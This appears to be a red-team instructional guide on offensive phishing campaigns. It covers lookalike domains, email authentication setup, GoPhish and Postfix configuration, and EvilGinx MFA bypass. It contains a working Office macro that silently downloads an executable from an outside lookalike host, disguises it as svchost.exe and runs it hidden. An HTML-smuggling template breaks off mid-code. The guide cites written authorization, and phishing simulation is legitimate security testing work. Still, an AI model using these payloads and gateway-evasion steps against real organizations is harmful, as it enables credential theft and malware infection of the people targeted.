offensive-phishing

# Offensive Phishing

Phishing remains the most reliable initial access vector in red team engagements. You are simulating a real adversary -- your infrastructure, pretexts, and payloads must withstand the same scrutiny that a targeted organization's email security stack applies to inbound mail. This skill walks you through building campaigns that test an organization's human and technical defenses against email-based social engineering.

Every technique here assumes you hold explicit written authorization. Document your scope, target lists, and escalation procedures before sending the first email.

## Quick Workflow

1. Register a lookalike domain 4-8 weeks before the engagement; configure DNS records for SPF, DKIM, and DMARC alignment.
2. Stand up GoPhish on dedicated infrastructure; configure SMTP relay through a reputable provider or self-hosted MTA.
3. Develop pretexts based on OSINT -- org announcements, vendor relationships, internal processes.
4. Build or clone landing pages; deploy EvilGinx2 phishlets if MFA bypass is in scope.
5. Craft payloads matched to the target's email security posture (macro-enabled docs, HTML smuggling, ISO containers).
6. Send test emails to your own accounts first; verify rendering, link tracking, and payload delivery.
7. Launch the campaign in waves; monitor GoPhish dashboard for opens, clicks, and credential submissions.
8. Document findings with timestamps, screenshots, and affected user counts for the final report.

---

## Infrastructure Setup

Your sending infrastructure determines whether mail reaches the inbox or lands in quarantine. Treat infrastructure provisioning as the foundation of every campaign.

### Domain Acquisition and Aging

Register domains that visually or semantically resemble the target. Homoglyph substitutions (rn for m, vv for w), TLD swaps (.net instead of .com), and hyphenated variants all work. Age the domain for at least two weeks with benign content and low-volume legitimate email before using it in a campaign.

```bash
# Check domain availability and WHOIS history
whois targetcorp-portal.com
# Verify no existing reputation flags
dig +short targetcorp-portal.com @8.8.8.8

# Generate homoglyph candidates with dnstwist
dnstwist --registered targetcorp.com
```

### DNS and Email Authentication Records

Proper SPF, DKIM, and DMARC records are non-negotiable. Without them, most modern email gateways will reject or quarantine your mail outright.

```bash
# SPF record -- authorize your sending IP
# Add as TXT record on your phishing domain:
# v=spf1 ip4:203.0.113.50 -all

# Generate DKIM keys (2048-bit RSA)
opendkim-genkey -s mail -d targetcorp-portal.com -b 2048

# DMARC record -- set policy to none during warmup
# _dmarc.targetcorp-portal.com TXT "v=DMARC1; p=none; rua=mailto:dmarc@targetcorp-portal.com"

# Verify DNS propagation
dig TXT targetcorp-portal.com
dig TXT mail._domainkey.targetcorp-portal.com
dig TXT _dmarc.targetcorp-portal.com
```

### GoPhish Deployment

GoPhish is the standard open-source phishing framework. Deploy it on a VPS with a valid TLS certificate.

```bash
# Download and extract GoPhish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish

# Generate TLS certificate with Let's Encrypt
certbot certonly --standalone -d phish.targetcorp-portal.com

# Configure GoPhish (config.json)
cat <<'EOF' > /opt/gophish/config.json
{
  "admin_server": {
    "listen_url": "0.0.0.0:3333",
    "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
    "key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
  },
  "phish_server": {
    "listen_url": "0.0.0.0:443",
    "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
    "key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
  }
}
EOF

# Start GoPhish
cd /opt/gophish && ./gophish &
```

### SMTP Configuration

Self-hosted Postfix or a relay through Amazon SES, Mailgun, or SendGrid. Self-hosted gives you full control but requires careful IP reputation management.

```bash
# Postfix main.cf essentials for phishing relay
postconf -e "myhostname = mail.targetcorp-portal.com"
postconf -e "mydomain = targetcorp-portal.com"
postconf -e "smtp_tls_security_level = may"
postconf -e "smtp_tls_note_starttls_offer = yes"
postconf -e "milter_default_action = accept"
postconf -e "smtpd_milters = inet:localhost:8891"
postconf -e "non_smtpd_milters = inet:localhost:8891"

systemctl restart postfix
```

---

## Payload Delivery Vectors

Match your payload to the target's email gateway capabilities. If the organization strips macros, pivot to HTML smuggling or ISO containers.

### Office Macro Payloads

Classic but still effective against organizations that allow macro-enabled documents. Use VBA stomping to remove the readable source while preserving the p-code.

```vba
' Basic macro payload -- download and execute
' Place in ThisDocument or Auto_Open module
Sub AutoOpen()
    Dim url As String
    Dim path As String
    url = "https://cdn.targetcorp-portal.com/update.exe"
    path = Environ("TEMP") & "\svchost.exe"
    
    Dim xhr As Object
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", url, False
    xhr.send
    
    Dim stream As Object
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write xhr.responseBody
    stream.SaveToFile path, 2
    stream.Close
    
    Shell path, vbHide
End Sub
```

### HTML Smuggling

Bypass email gateways by encoding the payload in JavaScript and reconstructing it client-side. The email contains only HTML -- no attachments for the gateway to scan.

```html
<!-- HTML smuggling template -->
<html>
<body>
<p>Please wait while your document loads...</p>
<script>
// Base64-encoded payload (ISO, EXE, or DLL)
var payload = "TVqQAAMAAAAEAAAA..."; // truncated
var raw